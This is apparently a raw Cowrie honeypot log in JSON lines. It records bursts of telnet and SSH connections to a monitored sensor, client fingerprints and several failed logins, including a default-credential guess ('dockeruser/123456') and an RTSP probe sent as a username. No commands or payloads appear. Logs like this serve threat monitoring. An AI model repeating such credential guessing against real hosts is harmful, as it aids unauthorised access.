{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19454,"dst_ip":"159.203.135.109","dst_port":23,"session":"044a6458f642","protocol":"telnet","message":"New connection: 35.233.27.212:19454 (159.203.135.109:23) [session: 044a6458f642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:35.781377Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b93e1df93db5","protocol":"telnet","message":"New connection: 35.233.27.212:19460 (159.203.135.109:23) [session: b93e1df93db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:35.937284Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19472,"dst_ip":"159.203.135.109","dst_port":23,"session":"df752bd394aa","protocol":"telnet","message":"New connection: 35.233.27.212:19472 (159.203.135.109:23) [session: df752bd394aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:36.093094Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19488,"dst_ip":"159.203.135.109","dst_port":23,"session":"4401ac2c7d19","protocol":"telnet","message":"New connection: 35.233.27.212:19488 (159.203.135.109:23) [session: 4401ac2c7d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:36.249183Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19500,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3bc731df7d7","protocol":"telnet","message":"New connection: 35.233.27.212:19500 (159.203.135.109:23) [session: e3bc731df7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:36.406092Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19506,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a79bea7162","protocol":"telnet","message":"New connection: 35.233.27.212:19506 (159.203.135.109:23) [session: e7a79bea7162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:36.560746Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19516,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc091266698","protocol":"telnet","message":"New connection: 35.233.27.212:19516 (159.203.135.109:23) [session: cfc091266698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:36.716044Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19526,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d13abeda7d3","protocol":"telnet","message":"New connection: 35.233.27.212:19526 (159.203.135.109:23) [session: 3d13abeda7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:36.871322Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19534,"dst_ip":"159.203.135.109","dst_port":23,"session":"872421d3af4a","protocol":"telnet","message":"New connection: 35.233.27.212:19534 (159.203.135.109:23) [session: 872421d3af4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:37.025315Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19550,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc3233895d6f","protocol":"telnet","message":"New connection: 35.233.27.212:19550 (159.203.135.109:23) [session: bc3233895d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:37.265432Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19552,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b3e1954078a","protocol":"telnet","message":"New connection: 35.233.27.212:19552 (159.203.135.109:23) [session: 2b3e1954078a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:37.419005Z"}
{"eventid":"cowrie.session.closed","duration":0.006133556365966797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:37.425018Z","src_ip":"35.233.27.212","session":"2b3e1954078a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19568,"dst_ip":"159.203.135.109","dst_port":23,"session":"df037411d7a0","protocol":"telnet","message":"New connection: 35.233.27.212:19568 (159.203.135.109:23) [session: df037411d7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:37.575274Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19578,"dst_ip":"159.203.135.109","dst_port":23,"session":"051afb51bbe2","protocol":"telnet","message":"New connection: 35.233.27.212:19578 (159.203.135.109:23) [session: 051afb51bbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:37.731261Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19594,"dst_ip":"159.203.135.109","dst_port":23,"session":"db29369704e8","protocol":"telnet","message":"New connection: 35.233.27.212:19594 (159.203.135.109:23) [session: db29369704e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:37.886413Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19598,"dst_ip":"159.203.135.109","dst_port":23,"session":"1054065bdc4f","protocol":"telnet","message":"New connection: 35.233.27.212:19598 (159.203.135.109:23) [session: 1054065bdc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.041987Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19610,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b6d6205902","protocol":"telnet","message":"New connection: 35.233.27.212:19610 (159.203.135.109:23) [session: 31b6d6205902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.197328Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19622,"dst_ip":"159.203.135.109","dst_port":23,"session":"4995be1ee4ce","protocol":"telnet","message":"New connection: 35.233.27.212:19622 (159.203.135.109:23) [session: 4995be1ee4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.351937Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19636,"dst_ip":"159.203.135.109","dst_port":23,"session":"83168447218e","protocol":"telnet","message":"New connection: 35.233.27.212:19636 (159.203.135.109:23) [session: 83168447218e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.508100Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19648,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf60a4199d48","protocol":"telnet","message":"New connection: 35.233.27.212:19648 (159.203.135.109:23) [session: bf60a4199d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.664536Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19650,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee842bdda886","protocol":"telnet","message":"New connection: 35.233.27.212:19650 (159.203.135.109:23) [session: ee842bdda886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.818874Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.824979Z","src_ip":"35.233.27.212","session":"ee842bdda886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19666,"dst_ip":"159.203.135.109","dst_port":23,"session":"24128a9a6804","protocol":"telnet","message":"New connection: 35.233.27.212:19666 (159.203.135.109:23) [session: 24128a9a6804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:38.979135Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19680,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2d25f4860d4","protocol":"telnet","message":"New connection: 35.233.27.212:19680 (159.203.135.109:23) [session: a2d25f4860d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.135346Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19684,"dst_ip":"159.203.135.109","dst_port":23,"session":"7487dd6d6fe9","protocol":"telnet","message":"New connection: 35.233.27.212:19684 (159.203.135.109:23) [session: 7487dd6d6fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.291129Z"}
{"eventid":"cowrie.session.closed","duration":0.26290392875671387,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.398124Z","src_ip":"35.233.27.212","session":"a2d25f4860d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.4248645305633545,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.403854Z","src_ip":"35.233.27.212","session":"24128a9a6804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5896284580230713,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.408337Z","src_ip":"35.233.27.212","session":"ee842bdda886","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.747870922088623,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.412236Z","src_ip":"35.233.27.212","session":"bf60a4199d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9113016128540039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.419284Z","src_ip":"35.233.27.212","session":"83168447218e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0712707042694092,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.423105Z","src_ip":"35.233.27.212","session":"4995be1ee4ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2295281887054443,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.426743Z","src_ip":"35.233.27.212","session":"31b6d6205902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3882241249084473,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.430113Z","src_ip":"35.233.27.212","session":"1054065bdc4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.552405834197998,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.438689Z","src_ip":"35.233.27.212","session":"db29369704e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7112140655517578,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.442373Z","src_ip":"35.233.27.212","session":"051afb51bbe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8709776401519775,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.446142Z","src_ip":"35.233.27.212","session":"df037411d7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.185702085494995,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.451006Z","src_ip":"35.233.27.212","session":"bc3233895d6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4294261932373047,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.454636Z","src_ip":"35.233.27.212","session":"872421d3af4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5873217582702637,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.458540Z","src_ip":"35.233.27.212","session":"3d13abeda7d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7461986541748047,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.462092Z","src_ip":"35.233.27.212","session":"cfc091266698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.90539288520813,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.466021Z","src_ip":"35.233.27.212","session":"e7a79bea7162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0638184547424316,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.469765Z","src_ip":"35.233.27.212","session":"e3bc731df7d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.224294424057007,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.473304Z","src_ip":"35.233.27.212","session":"4401ac2c7d19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.383836269378662,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.476837Z","src_ip":"35.233.27.212","session":"df752bd394aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5431084632873535,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.480244Z","src_ip":"35.233.27.212","session":"b93e1df93db5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7023909091949463,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.483639Z","src_ip":"35.233.27.212","session":"044a6458f642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19700,"dst_ip":"159.203.135.109","dst_port":23,"session":"17f0ecdecb4a","protocol":"telnet","message":"New connection: 35.233.27.212:19700 (159.203.135.109:23) [session: 17f0ecdecb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.499599Z"}
{"eventid":"cowrie.session.closed","duration":23.05558967590332,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.506347Z","src_ip":"35.233.27.212","session":"b89bea193a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19704,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd865104965d","protocol":"telnet","message":"New connection: 35.233.27.212:19704 (159.203.135.109:23) [session: bd865104965d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.672229Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19708,"dst_ip":"159.203.135.109","dst_port":23,"session":"15edf79076b5","protocol":"telnet","message":"New connection: 35.233.27.212:19708 (159.203.135.109:23) [session: 15edf79076b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.828607Z"}
{"eventid":"cowrie.session.closed","duration":0.006873369216918945,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.835113Z","src_ip":"35.233.27.212","session":"15edf79076b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19716,"dst_ip":"159.203.135.109","dst_port":23,"session":"5170b3188834","protocol":"telnet","message":"New connection: 35.233.27.212:19716 (159.203.135.109:23) [session: 5170b3188834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:39.984229Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19722,"dst_ip":"159.203.135.109","dst_port":23,"session":"c30c9ade8493","protocol":"telnet","message":"New connection: 35.233.27.212:19722 (159.203.135.109:23) [session: c30c9ade8493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:40.140245Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8010","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:40.145948Z","src_ip":"35.233.27.212","session":"c30c9ade8493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54500,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae97b68de4a2","protocol":"telnet","message":"New connection: 178.128.93.180:54500 (10.17.0.5:23) [session: ae97b68de4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:40.226749Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19734,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b3289ec8b2","protocol":"telnet","message":"New connection: 35.233.27.212:19734 (159.203.135.109:23) [session: a0b3289ec8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:40.300872Z"}
{"eventid":"cowrie.session.closed","duration":0.009932756423950195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:40.310652Z","src_ip":"35.233.27.212","session":"a0b3289ec8b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50054,"dst_ip":"159.203.135.109","dst_port":23,"session":"d54986d8ba18","protocol":"telnet","message":"New connection: 69.4.83.194:50054 (159.203.135.109:23) [session: d54986d8ba18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:42.734532Z"}
{"eventid":"cowrie.session.closed","duration":11.759110927581787,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:51.431186Z","src_ip":"35.233.27.212","session":"bd865104965d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.936656951904297,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:51.436225Z","src_ip":"35.233.27.212","session":"17f0ecdecb4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.149242401123047,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:51.440123Z","src_ip":"35.233.27.212","session":"7487dd6d6fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.3892240524292,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:51.529335Z","src_ip":"35.233.27.212","session":"c30c9ade8493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.549596786499023,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:51.533686Z","src_ip":"35.233.27.212","session":"5170b3188834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.53454303741455,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:52.738150Z","src_ip":"79.139.59.21","session":"fcb1018f5263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:58.897200Z","src_ip":"58.209.82.184","session":"f2fda94a66d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55810,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f404a613cf","protocol":"telnet","message":"New connection: 69.4.83.194:55810 (159.203.135.109:23) [session: 91f404a613cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:59.221025Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d2678313b9b","protocol":"telnet","message":"New connection: 69.4.83.194:54756 (159.203.135.109:23) [session: 2d2678313b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:02.296412Z"}
{"eventid":"cowrie.session.closed","duration":0.2650175094604492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:02.561269Z","src_ip":"69.4.83.194","session":"2d2678313b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58008,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffb928a4be5d","protocol":"telnet","message":"New connection: 69.4.83.194:58008 (159.203.135.109:23) [session: ffb928a4be5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:03.885037Z"}
{"eventid":"cowrie.session.closed","duration":34.204206466674805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:05.686044Z","src_ip":"69.4.83.194","session":"6f88d6d0e0b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":59884,"dst_ip":"10.17.0.5","dst_port":22,"session":"19921180b8e0","protocol":"ssh","message":"New connection: 101.47.156.21:59884 (10.17.0.5:22) [session: 19921180b8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:06.284079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:06.290000Z","src_ip":"101.47.156.21","session":"19921180b8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:06.538413Z","src_ip":"101.47.156.21","session":"19921180b8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeruser","password":"123456","message":"login attempt [dockeruser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:07.554767Z","src_ip":"101.47.156.21","session":"19921180b8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38052,"dst_ip":"159.203.135.109","dst_port":22,"session":"55c2cdfea6c9","protocol":"ssh","message":"New connection: 109.237.96.109:38052 (159.203.135.109:22) [session: 55c2cdfea6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:08.481602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:45:08.486722Z","src_ip":"109.237.96.109","session":"55c2cdfea6c9","protocol":"ssh"}
